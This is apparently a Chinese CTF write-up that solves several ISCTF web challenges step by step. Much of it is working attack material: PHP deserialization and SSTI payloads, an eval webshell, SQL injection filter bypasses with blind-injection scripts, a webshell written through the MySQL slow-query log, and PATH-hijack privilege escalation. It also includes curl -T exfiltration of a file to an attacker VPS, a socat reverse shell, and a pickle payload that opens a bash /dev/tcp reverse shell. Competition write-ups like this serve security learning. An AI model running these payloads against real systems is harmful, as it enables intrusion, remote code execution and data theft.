写在前边的话:

本篇为web所有题目wp,自己比赛中闲的没事儿写的。

后续会更新re和crypto的全wp

misc和pwn就放出写出的几道题的

圣杯战争

Pasted image 20231129165614.png

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
class artifact{  
    public $excalibuer;  
    public $arrow;  
    public function __toString(){  
        echo "为Saber选择了对的武器!<br>";  
        return $this->excalibuer->arrow;  
    }  
}  
  
class prepare{  
    public $release;  
    public function __get($key){
        $functioin = $this->release;  
        echo "蓄力!咖喱棒!!<br>";  
        return $functioin();  
    }  
}  
class saber{  
    public $weapon;  
    public function __invoke(){  
        echo "胜利!<br>";  
        include($this->weapon);  
    }  
}  
class summon{  
    public $Saber;  
    public $Rider;  
  
    public function __wakeup(){  
        echo "开始召唤从者!<br>";  
        echo $this->Saber;  
    }  
}  
  
if(isset($_GET['payload'])){    unserialize($_GET['payload']);  
}  
?>

php反序列化,利用链:
summon -> artifact -> prepare -> saber ->伪协议include
构造payload

O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";r:3;}s:5:"Rider";O:5:"saber":1:{s:6:"weapon";s:9:"index.php";}

Pasted image 20231129170808.png

where_is_the_flag

Pasted image 20231129170918.png

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  
  
//标准一句话木马~  
eval($_POST[1]);  
?>

弹个shell或者用蚁剑之类的连接一下就ok

位置分别在flag.php
/flag
和$FLAG3里边(题目估计用的是env)

绕进你的心里

Pasted image 20231129174711.png

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  
    echo "md5绕过了!";  
    if(preg_match("/[0-9]/", $num)){  
        die('你干嘛?哎哟!');  
    }  
    elseif(intval($num)){  
        if(preg_match('/.+?ISCTF/is', $str)){  
            die("再想想!");  
        }  
        if(stripos($str, '2023ISCTF') === false){  
            die("就差一点点啦!");  
        }  
        echo $flag;  
    }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

而盘古用回溯绕过

payload

import requests
url = 
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

这是我自己的题就多说几句(
绕过方法有很多,我预期用的是报错注入,但是盲注之类的都ok的

Pasted image 20231129175146.png

通过双写绕过replace,通过 /**/绕过空格,利用报错注入来获得回显

'oorr/**/updatexml(1,concat(0x7e,(selselectect/**/(schema_name)/**/from/**/infoorrmation_schema.schemata/**/limit/**/5,1),0x7e),1)#

由于updatexml的问题,用substr函数分次读出flag即可

wafr

Pasted image 20231129175505.png

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
  
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  
    die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  
    die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  
    die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

有一堆奇淫巧技来进行绕过,不知道是不是都是出题人的预期
我这里直接用strings来进行读取了
用post传参
code=system("strings /f*")
就有flag了

ez_ini

Pasted image 20231129175948.png

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

解法2:
Pasted image 20231129180203.png

进行文件日志包含

auto_prepend_file=/var/log/apache/access.log
auto_prepend_file=/var/log/nginx/error.log
auto_prepend_file=/var/log/nginx/access.log

然后再headers头中带有一句话木马即可getshell

web_include

Pasted image 20231129180519.png

Pasted image 20231129180536.png

Pasted image 20231129180726.png

扫描到源码泄露,下载打开,发现是js文件

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

进行解密

def decode(string):
	dec = ""
	for i in range(0,len(string),2):
		temp1 = ord(string[i]) - 97
		temp2 = ord(string[i+1]) - 97
		dec += chr(temp1*26+temp2)
	return dec

print(decode(decode("dxdydxdudxdtdxeadxekdxea")))

解码得到mihoyo(玩()玩的)
然后伪协议即可

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

Pasted image 20231129181249.png

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  
    die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

我用的是curl的外带功能,通过参数-T来传参

?file=-T /fla[g]gggggg.txt -a http://vps的ip:port

自己vps上开启
nc -lvp 上边的port
我这里是4445

Pasted image 20231129181614.png

1z_Ssql

Pasted image 20231129181640.png

这个根据给的两个附件找到对应的库和列名就行

import requests
from tqdm import tqdm

list1 = '''users
u55qs4hftj
flag1
bikepedcrash
guestbook
sheet1
kaohe23
servers
user
admin
books
orders'''.split("\n")

list2 = '''edtime
password
user
flag
username
listtag
tid
posttime
homepage
qq
position
showmod
keyword
sta
rpurl
statement_latency
statement_avg_latency
hack123'''.split("\n")

lists = list1+list2

url = 

def crack(pos, sql):
	check = False
	for i in range(20,128):
		payload = f"1' or ascii(substr(({sql}),{pos},1))>{i}#"
		data = {"username":payload,"password":"111","submit":"登录"}
		connect = requests.post(url = url, data = data)
		if "hint" in connect.text:
			if not check:
				check = True
		else:
			if check:
				check = True
				return i
	if not check:
		return None
		# print(check)

def test(sql):
	payload = f"1' or ascii(substr(({sql}),1,1))>1#"
	data = {"username":payload,"password":"111","submit":"登录"}
	connect = requests.post(url = url, data = data)
	if "hint" in connect.text:
		return True
	else:
		return False




def burp_force():
	for i in tqdm(lists, position=1, desc="i", leave=False, colour='green', ncols=80):
		for j in tqdm(lists, position=2, desc="j", leave=False, colour='red', ncols=80):
			sql = f"select group_concat({i}) from bthcls.{j}"
			if test(sql):
				print(sql)



# burp_force()
def executes():
	sql0 = "select database()"
	sql1 = "select group_concat(password) from users"
	sql2 = "select group_concat(user) from users"
	sql3 = "select group_concat(username) from users"
	sql4 = 'select load_file("/etc/shadows");'
	for i in range(1,100):
		temp = crack(i,sql1)
		# print(temp)
		if temp is None:
			break
		print(chr(temp),end="")


def main():
	executes()

if __name__ == "__main__":
	main()

最后找到用户名和密码
用户名:admin
密码:we1come7o1sctf
登录就有了
(别问为什么脚本没优化,问就是懒)
Pasted image 20231129182120.png

恐怖G7人

PS:G7是我用过最好用的狙:(

Pasted image 20231129182150.png

自己的原因,没想到居然非预期了)还是重大漏洞(
认打认罚(悲)

Pasted image 20231129182309.png

在这里ssti了
Pasted image 20231129182318.png

因为非预期甚至没有过滤)

所以就是常规的ssti,甚至没过滤(为什么就这都没几个人出)

{{''.__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']('env').read()}}

直接查看env

Pasted image 20231129182527.png

deep website

Pasted image 20231129230415.png

他来了他来了,他带着漏洞走来了

验证码和sessionID绑定的,抓包重放可以绕过验证码

然后很多师傅就盯着这个sql没办法了(

进行sql注入时候只有Error SQL

这里是埋的第一个坑,但是仔细一想就知道,哪个正常的程序员只会用一次过滤replace导致双写绕过啊,这在实战中压根不存在好吧。本题采用的是无限replace直到没有黑名单了。因此什么等号,大于小于号就都被replace了,后来在hint附件中也是把这个坑给大家公开了。

然后就是测试黑名单环节。

既然是直接replace,测试出来弱密码admin
那么可以构造类似于adminselect,如果select在黑名单中,replace后只有admin,可以登录成功,反之登录失败。

经过测试后,空格,union,>,<,=等都被过滤了。

因为异或没有被过滤,那么我们可以通过异或来进行构造。

但进一步得知,虽然select没有被过滤,但是空格被过滤了,而且 select/**/也被过滤了

这里采用内联注入,即构造 /*!SELECT*/

然后通过异或的特点进行盲注,我这里用的时间盲注,其实可以布尔盲注的:(,我这个脚本太耗时了,各位师傅们见谅,当时为了交题赶出来的()

import requests
import time
from tqdm import trange,tqdm

head = '''Host: 43.249.195.138:22473
Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.249.195.138:22473
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2a6b148f91fd3eb899abca52bde9eb5c
'''.split("\n")

verifyCode = "sfkF"

url = "http://43.249.195.138:22473/checkLogin.php"

# 上边的信息需要根据自己情况进行更换,tqdm库是进度条库

delay = 1.0


headers = {}

for k in head:
	temp = k.split(": ")
	i=temp[0]
	j="".join(temp[1:])
	headers[i] = j

if headers.get("") is not None:
	headers.pop("")



def fetchSQL(sql, pos):
	for i in range(20, 129):
		payload = f"1')/*!UNION*//**//*!SELECT*/(CASE/**/WHEN/**/ASCII(mid(concat(({sql})),{pos},1))^{i}/**/THEN/**/0/**/ELSE/**/BENCHMARK(8000000,md5(1))/**/END)#"
		data = {"user":payload,"password":"1","verifyCode":verifyCode}
		start = time.time()
		connect = requests.post(url,headers=headers,data=data)
		# print(connect.text)
		end = time.time()
		if end - start > delay:
			confirm_start = time.time()
			connect = requests.post(url,headers=headers,data=data)
			confirm_end = time.time()
			if confirm_end - confirm_start > delay:
				return i
	return None

def crackSQL(sql):
	strs = ""
	for pos in trange(1,100):
		temp = fetchSQL(sql, pos)
		if temp is None:
			break
		# tqdm.write(chr(temp),end="")
		strs += chr(temp)
	print(strs)
	return strs

def main():
	sql1 = "database()"
	sql2 = "/*!SELECT*//**/group_concat(schema_name)/**/from/**/information_schema.schemata"
	sql3 = "/*!SELECT*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'secret'"
	sql4 = "/*!SELECT*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'path'"
	sql5 = "/*!SELECT*//**/group_concat(filename)/**/from/**/secret.path"
	sql6 = "/*!SELECT*//**/group_concat(filepath)/**/from/**/secret.path"
	sqls = [sql2,sql3,sql4,sql5,sql6]
	for i in sqls:
		crackSQL(i)#手动切换sql

main()

很多师傅们在user库里找了半天,我们的信息在另一个数据库secret库中。

总之,我们在secret库中可以获得两个路径,均在/var/www/html下有两个文件

flagggggg__wher_e_14_F5MSsYteUvm21W9w.txt

Mysql_connect_shell.php

txt文件中给了
flag is in the root directory and has root privileges

mysql的shell里给了

<?php  
require_once "config.php";  
  
if(isset($_POST["sql"])){
	$sql = trim($_POST["sql"]);
	var_dump(fetchOne($sql));  
}  
else{
	highlight_file(__FILE__);  
}  
  
?>

给了我们个sql 的shell

经过调查发现权限为root权限的sql
但是secure_file_priv权限的路径在tmp路径下,没法读写shell

考虑慢日志注入
依次执行下列三条语句

set global slow_query_log=1;
SET GLOBAL slow_query_log_file='/var/www/html/shell.php';
select '<?php eval($_GET[a])?>' or SLEEP(11);

即可写入shell

拿到shell之后各类反弹shell手法这里不再赘述,想怎么弹shell都ok

我这里用的是socat反弹shell

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:反弹ip:反弹port

把反弹ip和port换成自己的就ok

Pasted image 20231129231604.png

然后进行提权,说起这个提权我是万万没想到啊
居然能跟另一道题撞了,难绷。

总之

Pasted image 20231129231649.png

sudo -l 发现有sid权限的menu

Pasted image 20231129231718.png

menu提供了几个快捷方式

分析menu程序可以发现其内部执行的指令都是从环境变量中读取的相对路径

即是 system("sh")
而非 system("/bin/sh")

这样我们可以通过环境变量来提权

我们将bash复制到tmp路径(随意哪个有权限都ok,tmp肯定有权限)

cp /bin/bash /tmp/ifconfig  # 将bash改名为ifconfig并放到tmp目录下
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH  # 将tmp路径添加到环境变量头部

然后sudo menu

Pasted image 20231129232330.png

提权成功,然后cat /flag.txt 即可

恐怖G7人-卷土重来

Pasted image 20231130001116.png

这道题真正的考点是pickle反序列化

当我们在这里输入了之后

Pasted image 20231129232541.png

我们发现set了一个cookie

Pasted image 20231129232610.png

我们将其base64解码,用hex dump转化

Pasted image 20231129232701.png

80 04 开头的,很容易发现这是pickle序列化数据,且是第四代pickle

我们使用timeit库进行利用,timeit函数被过滤了,但是还有repeat函数

为了绕过过滤,我们需要对shellcode进行编码为base64

但使用base64的b64decode后,返回的是bytes类型,而repeat需要的str类型

因此我们在codecs库中找到decode方法

至此整个利用链构造完成

import base64
import requests


shell = '''__import__('os').system('bash -c "bash -i >& /dev/tcp/反弹ip/反弹端口 0<&1"')''' #反弹shell语句

url = "http://43.249.195.138:20384/champion"


enc = base64.b64encode(shell.encode("utf-8"))

payload = b'''ctimeit
repeat
(ccodecs
decode
(cbase64
b64decode
(V'''+ enc + b'''
tRtRtR.'''

payload = base64.b64encode(payload).decode()

print(payload)
header = {"Cookie":"userInfo="+payload}

r=requests.get(url,headers=header)

然后反弹shell就可以在env中找到flag了

double_pickle

Pasted image 20231129233401.png

这个预期不知道是怎么构造的,我直接用G7人的pickle链秒了

访问/hint

我写过滤防止骇客的时候感觉很困,不过没事,我过滤了很多,骇客们肯定打不进来。给你们看看我的杰作: pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))

得到参数为payload

然后直接传参
?payload=上述的payload

然后即可反弹shell

然后读取根目录下的/flag即可